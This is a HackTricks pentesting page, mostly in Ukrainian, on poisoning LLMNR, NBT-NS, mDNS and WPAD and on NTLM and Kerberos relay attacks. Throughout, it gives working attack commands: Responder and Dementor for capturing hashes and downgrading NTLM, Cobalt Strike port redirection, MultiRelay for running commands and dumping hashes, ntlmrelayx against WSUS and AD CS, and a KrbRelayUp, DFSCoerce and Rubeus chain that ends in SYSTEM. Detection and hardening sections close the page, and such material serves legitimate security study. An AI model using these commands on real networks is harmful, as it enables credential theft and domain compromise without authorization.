Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Мережеві протоколи
Протоколи локального розв’язування імен
- LLMNR, NBT-NS, and mDNS:
- Microsoft та інші операційні системи використовують LLMNR і NBT-NS для локального розв’язування імен, коли DNS не спрацьовує. Аналогічно, Apple та Linux системи використовують mDNS.
- Ці протоколи схильні до перехоплення та підробки через їх неаутентифіковану, широкомовну природу поверх UDP.
- Responder та Dementor можуть використовуватися для імітації сервісів шляхом надсилання підроблених відповідей хостам, що роблять запити цими протоколами.
- Додаткову інформацію про імітацію сервісів із використанням Responder можна знайти тут.
Протокол автоматичного виявлення веб-проксі (WPAD)
- WPAD дозволяє браузерам автоматично знаходити налаштування проксі.
- Виявлення здійснюється через DHCP, DNS або як відкат до LLMNR і NBT-NS у разі відмови DNS.
- Responder може автоматизувати WPAD-атаки, перенаправляючи клієнтів на шкідливі WPAD-сервери.
Responder/Dementor для отруєння протоколів
-
Responder — інструмент для отруєння запитів LLMNR, NBT-NS та mDNS, вибірково відповідає залежно від типу запиту, в першу чергу орієнтуючись на SMB-сервіси.
-
Він попередньо встановлений у Kali Linux, конфігурується у
/etc/responder/Responder.conf. -
Responder відображає захоплені хеші на екрані та зберігає їх у каталозі
/usr/share/responder/logs. -
Підтримує як IPv4, так і IPv6.
-
Windows-версія Responder доступна тут.
-
Dementor розширює можливості щодо multicast-підробок і додатково виступає як зловмисний постачальник сервісів (включаючи підтримку CUPS RCE).
-
Загальна структура схожа на Responder з більш детальною конфігурацією. (за замовчуванням тут: Dementor.toml)
-
Сумісність між Dementor і Responder наведена тут: Compatibility Matrix
-
Вступ та документація тут: Dementor - Docs
-
Виправляє проблеми з перехопленням, які виникають у Responder для певних протоколів
Запуск Responder
- Щоб запустити Responder із налаштуваннями за замовчуванням:
responder -I <Interface> - Для більш агресивного опитування (з можливими побічними ефектами):
responder -I <Interface> -P -r -v - Техніки для захоплення NTLMv1 challenge/response для полегшення розкодування:
responder -I <Interface> --lm --disable-ess - Імітацію WPAD можна активувати так:
responder -I <Interface> --wpad - NetBIOS-запити можна розв’язувати на IP атакуючого, і налаштувати аутентифікаційний проксі:
responder.py -I <interface> -Pv
Запуск Dementor
- З налаштуваннями за замовчуванням:
Dementor -I <interface> - З налаштуваннями за замовчуванням у режимі аналізу:
Dementor -I <interface> -A - Автоматичне пониження NTLM сесії (ESS):
Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off - Запустити поточну сесію з кастомною конфігурацією:
Dementor -I <interface> --config <file.toml>
Отруєння DHCP за допомогою Responder
- Підробка DHCP-відповідей може назавжди змінити маршрутну інформацію жертви, пропонуючи менш помітну альтернативу ARP-отруєнню.
- Це вимагає точного знання конфігурації цільової мережі.
- Запуск атаки:
./Responder.py -I eth0 -Pdv - Цей метод може ефективно захоплювати NTLMv1/2 хеші, але потребує обережного виконання, щоб уникнути порушення мережі.
Захоплення облікових даних за допомогою Responder/Dementor
- Responder/Dementor імітуватимуть сервіси з використанням вищезгаданих протоколів, захоплюючи облікові дані (зазвичай NTLMv2 Challenge/Response), коли користувач намагається аутентифікуватися проти підроблених сервісів.
- Можна спробувати понизити рівень аутентифікації до NetNTLMv1 або вимкнути ESS для полегшення розкодування облікових даних.
Вкрай важливо зазначити, що застосування цих технік має здійснюватися легально і етично, забезпечуючи належну авторизацію та уникаючи порушення роботи мережі або несанкціонованого доступу.
Inveigh
Inveigh — інструмент для penetration testers та red teamerів, призначений для Windows-систем. Він пропонує функціональність, схожу на Responder, виконуючи підробку та man-in-the-middle атаки. Інструмент еволюціонував від PowerShell-скрипта до C# бінарника, з Inveigh та InveighZero як основними версіями. Детальні параметри та інструкції можна знайти у wiki.
Inveigh можна запускати через PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Або виконано як бінарний файл C#:
Inveigh.exe
NTLM Relay Attack
Ця атака використовує SMB authentication sessions для доступу до цільової машини і, у разі успіху, надає system shell. Головні передумови включають:
- Користувач, який аутентифікується, повинен мати Local Admin доступ на relayed host.
- SMB signing має бути вимкнений.
445 Port Forwarding and Tunneling
У випадках, коли прямий мережевий доступ неможливий, трафік на порті 445 потрібно перенаправити і тунелювати. Інструменти, такі як PortBender, допомагають перенаправляти трафік порту 445 на інший порт — це необхідно, коли є Local Admin доступ для driver loading.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Інші інструменти для NTLM Relay Attack
- Metasploit: Налаштовується з проксі, параметрами локального та віддаленого хоста.
- smbrelayx: Скрипт на Python для ретрансляції SMB-сесій, виконання команд або розгортання backdoors.
- MultiRelay: Інструмент із набору Responder для ретрансляції конкретних користувачів або всіх, виконання команд або dump hashes.
Кожен інструмент можна налаштувати для роботи через SOCKS proxy за потреби, що дозволяє виконувати атаки навіть при непрямому доступі до мережі.
Робота MultiRelay
MultiRelay запускається з директорії /usr/share/responder/tools, орієнтуючись на конкретні IP-адреси або користувачів.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.
Зловживання WSUS HTTP (8530) для реалізації NTLM Relay на LDAP/SMB/AD CS (ESC8)
Клієнти WSUS автентифікуються на своєму сервері оновлень з використанням NTLM через HTTP (8530) або HTTPS (8531). Якщо HTTP увімкнено, періодичні перевірки клієнтів можна примусити або перехопити в локальному сегменті і ретранслювати за допомогою ntlmrelayx до LDAP/LDAPS/SMB або AD CS HTTP кінцевих точок (ESC8) без злому хешів. Це маскується під звичайний трафік оновлень і часто дає автентифікації облікових записів машин (HOST$).
What to look for
- Конфігурація GPO/реєстру у розділі HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate та …\WindowsUpdate\AU:
- WUServer (e.g., http://wsus.domain.local:8530)
- WUStatusServer (URL для звітування)
- UseWUServer (1 = WSUS; 0 = Microsoft Update)
- DetectionFrequencyEnabled and DetectionFrequency (hours)
- WSUS SOAP endpoints used by clients over HTTP:
- /ClientWebService/client.asmx (approvals)
- /ReportingWebService/reportingwebservice.asmx (status)
- Default ports: 8530/tcp HTTP, 8531/tcp HTTPS
Reconnaissance
- Unauthenticated
- Scan for listeners: nmap -sSVC -Pn –open -p 8530,8531 -iL
- Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
- Authenticated
- Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
- Query endpoints at scale from hosts (NetExec) or locally:
nxc smb
-u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
End-to-end HTTP relay steps
-
Розміститися для MITM (той самий L2), щоб клієнт резолвив WSUS сервер на вас (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i
-t <wsus_client_ip> <wsus_server_ip> -
Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers
-
Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap://
-smb2support -socks –keep-relaying –http-port 8530
Other common targets:
- Relay to SMB (if signing off) for exec/dump: -t smb://
- Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
- Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT:
ntlmrelayx.py –http-port 8530 -t http://
/certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:
-
Спровокуйте перевірку клієнтом або дочекайтесь за розкладом. З клієнта: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).
-
Використовуйте автентифіковані SOCKS сесії (якщо -socks) або прямі результати ретрансляції для пост-експлуатації (LDAP зміни, SMB операції, або видача сертифікату AD CS для подальшої аутентифікації).
HTTPS constraint (8531)
- Пасивне перехоплення WSUS через HTTPS не ефективне, якщо клієнти не довіряють вашому сертифікату. Без довіреного сертифікату або іншого TLS-ламування NTLM handshake не вдасться зібрати/ретранслювати з WSUS HTTPS трафіку.
Notes
- WSUS було оголошено застарілим, але він залишається широко розгорнутим; HTTP (8530) все ще поширений у багатьох середовищах.
- Корисні помічники: wsusniff.py (спостерігати HTTP WSUS перевірки), wsuspider.sh (перерахувати WUServer/WUStatusServer з GPOs), NetExec reg-query у масштабі.
- Impacket відновив підтримку HTTP listener для ntlmrelayx у PR #2034 (первісно додано в PR #913).
Force NTLM Logins
У Windows ви можете змогти примусити деякі привілейовані облікові записи аутентифікуватися до довільних машин. Прочитайте наступну сторінку, щоб дізнатися як:
Force NTLM Privileged Authentication
Kerberos Relay attack
А Kerberos relay attack викрадає AP-REQ ticket з одного сервісу і повторно використовує його проти другого сервісу, який має той самий ключ облікового запису комп’ютера (бо обидва SPN прив’язані до того самого $ облікового запису машини). Це працює, навіть якщо SPN’и мають різні класи сервісів (наприклад CIFS/ → LDAP/), тому що ключ, який розшифровує квиток, — це NT hash машини, а не рядок SPN, і рядок SPN не є частиною підпису.
На відміну від NTLM relay, крок обмежений до того самого хоста, але якщо ви націлитесь на протокол, який дозволяє записувати в LDAP, ви можете ланцюжити в Resource-Based Constrained Delegation (RBCD) або AD CS enrollment і отримати NT AUTHORITY\SYSTEM за один раз.
For detailed info about this attack check:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Kerberos basics
| Token | Purpose | Relay relevance |
|---|---|---|
| TGT / AS-REQ ↔ REP | Підтверджує користувача перед KDC | не зачіпається |
| Service ticket / TGS-REQ ↔ REP | Зв’язаний з одним SPN; зашифрований ключем власника SPN | може бути взаємозамінним, якщо SPN належать одному обліковому запису |
| AP-REQ | Клієнт відправляє TGS сервісу | те, що ми викрадаємо і відтворюємо |
- Квитки зашифровані з використанням ключа, похідного від пароля облікового запису, що володіє SPN.
- Authenticator всередині AP-REQ має мітку часу 5 хвилин; відтворення в межах цього вікна дійсне, поки кеш сервісу не побачить дубль.
- Windows рідко перевіряє, чи рядок SPN у квитку відповідає сервісу, до якого ви звертаєтесь, тому квиток для
CIFS/HOSTзазвичай нормально розшифровується наLDAP/HOST.
-
- What must be true to relay Kerberos
- Shared key: джерельні і цільові SPN належать одному обліковому запису комп’ютера (типово на Windows серверах).
- No channel protection: підписування SMB/LDAP відключене та EPA вимкнено для HTTP/LDAPS.
- You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
- Ticket source not already used: ви виграєте гонку перед тим, як реальний пакет дійде, або повністю його заблокуєте; інакше кеш повторів сервера згенерує Event 4649.
- Вам якось потрібно мати змогу виконати MitM у зв’язку — можливо, будучи частиною групи DNSAdmins, щоб змінювати DNS домену, або мати можливість змінити HOST файл жертви.
Kerberos Relay Steps
- 3.1 Розвідка хоста
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Запустіть relay listener
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp упаковує KrbRelay → LDAP → RBCD → Rubeus → SCM bypass в один бінарний файл.
- 3.3 Примусити Kerberos автентифікацію
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce змушує DC надіслати нам Kerberos CIFS/DC01 ticket.
- 3.4 Переслати AP-REQ
KrbRelay витягує GSS blob з SMB, пакує його в LDAP bind і пересилає на ldap://DC01—аутентифікація вдається, тому що той самий ключ його розшифровує.
- 3.5 Зловживання LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Ви тепер володієте NT AUTHORITY\SYSTEM.
Ще кілька шляхів, які варто знати
| Vector | Trick | Why it matters |
|---|---|---|
| AuthIP / IPSec | Підроблений сервер надсилає GSS-ID payload з будь-яким SPN; клієнт формує AP-REQ прямо вам | Працює навіть між підмережами; машинні креденшіали за замовчуванням |
| DCOM / MSRPC | Зловмисний OXID resolver змушує клієнта авторизуватися на довільний SPN і порт | Чисте локальне підвищення привілеїв; оминає фаєрвол |
| AD CS Web Enroll | Переслати машинний квиток до HTTP/CA і отримати сертифікат, потім PKINIT щоб випустити TGTs | Обминає захисти LDAP signing |
| Shadow Credentials | Записати msDS-KeyCredentialLink, потім PKINIT з підробленою парою ключів | Немає потреби додавати обліковий запис комп’ютера |
Вирішення проблем
| Error | Meaning | Fix |
|---|---|---|
KRB_AP_ERR_MODIFIED | Ключ квитка ≠ ключ цілі | Неправильний хост/SPN |
KRB_AP_ERR_SKEW | Годинник має зсув > 5 хв | Синхронізуйте час або використайте w32tm |
| LDAP bind fails | Примусове підписування включено | Використайте шлях AD CS або вимкніть підписування |
| Event 4649 spam | Служба бачила дубльований Authenticator | Блокувати або перегнати оригінальний пакет (race) |
Виявлення
- Стрибок у кількості Event 4769 для
CIFS/,HTTP/,LDAP/з одного джерела протягом кількох секунд. - Event 4649 у службі вказує на виявлене повторне відтворення (replay).
- Kerberos вхід з 127.0.0.1 (relay до локального SCM) є дуже підозрілим — зіставте за допомогою Sigma rule у документації KrbRelayUp.
- Слідкуйте за змінами атрибутів
msDS-AllowedToActOnBehalfOfOtherIdentityабоmsDS-KeyCredentialLink.
Посилення захисту
- Забезпечте примусове використання LDAP та SMB signing + EPA на кожному сервері.
- Розділіть SPN, щоб HTTP не був на тому ж обліковому записі, що CIFS/LDAP.
- Закрийте вектори примусу (PetitPotam KB5005413, DFS, AuthIP).
- Встановіть
ms-DS-MachineAccountQuota = 0щоб зупинити несанкціоновані приєднання комп’ютерів. - Налаштуйте оповіщення на Event 4649 та несподівані loopback Kerberos входи.
References
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
- WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
- GoSecure – Abusing WSUS to enable NTLM relaying attacks
- Impacket PR #2034 – Restore HTTP server in ntlmrelayx
- Impacket PR #913 – HTTP relay support
- WSUScripts – wsusniff.py
- WSUScripts – wsuspider.sh
- MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
- Microsoft – WSUS deprecation announcement
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

